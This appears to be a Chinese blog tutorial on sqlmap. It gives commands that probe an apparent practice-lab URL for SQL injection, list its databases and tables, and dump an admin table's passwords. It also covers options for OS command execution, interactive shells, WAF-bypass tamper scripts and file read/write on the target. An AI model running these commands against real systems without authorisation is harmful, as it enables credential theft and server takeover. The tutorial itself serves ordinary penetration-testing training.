sqlmap的使用
sqlmap安装:
sqlmap的使用:
window中:
探测是否存在漏洞
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1"
查看所有的数据库
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --dbs
查看当前的数据库
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --current-db
查看maoshe这个数据库中的表名
-D是指定数据库
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe --tables
查看指定表中的列有哪些:
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin --columns
查看指定列对应的数据有哪些:
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin -C Id,password --dump
常用参数
-v 设置回显等级 , 默认为1
--level 设置探测等级。默认为1
--risk 设置风险等级。
--users 枚举所有用户
--passwords 枚举所有密码
--current-user 显示当前用户
--os-cmd
sqlmap -u " ***" --os-cmd = "net user" 执行系统命令。
--os-shell 返回一个shell界面
当请求方式为post时,我们可以使用 --data 或者-r参数来测试
-r 是将请求包放在一个txt文件中,直接测试。
也可以使用 --cookie --user-agent --referer 等参数来指定这些字段值。
--cookie = "****"
--tamper "****.py" 使用tamper参数是为了绕过waf ,****.py是绕过waf的脚本文件。
--thread 设置线程数。
--sql-shell 返回一个交互式的shell命令行
--sql-query "***" 执行指定的sql语句。
读写文件:
--file-read "文件绝对路径" 读取该路径下的文件。
将本地的文件写入到目标系统中。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· 单线程的Redis速度为什么快?
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码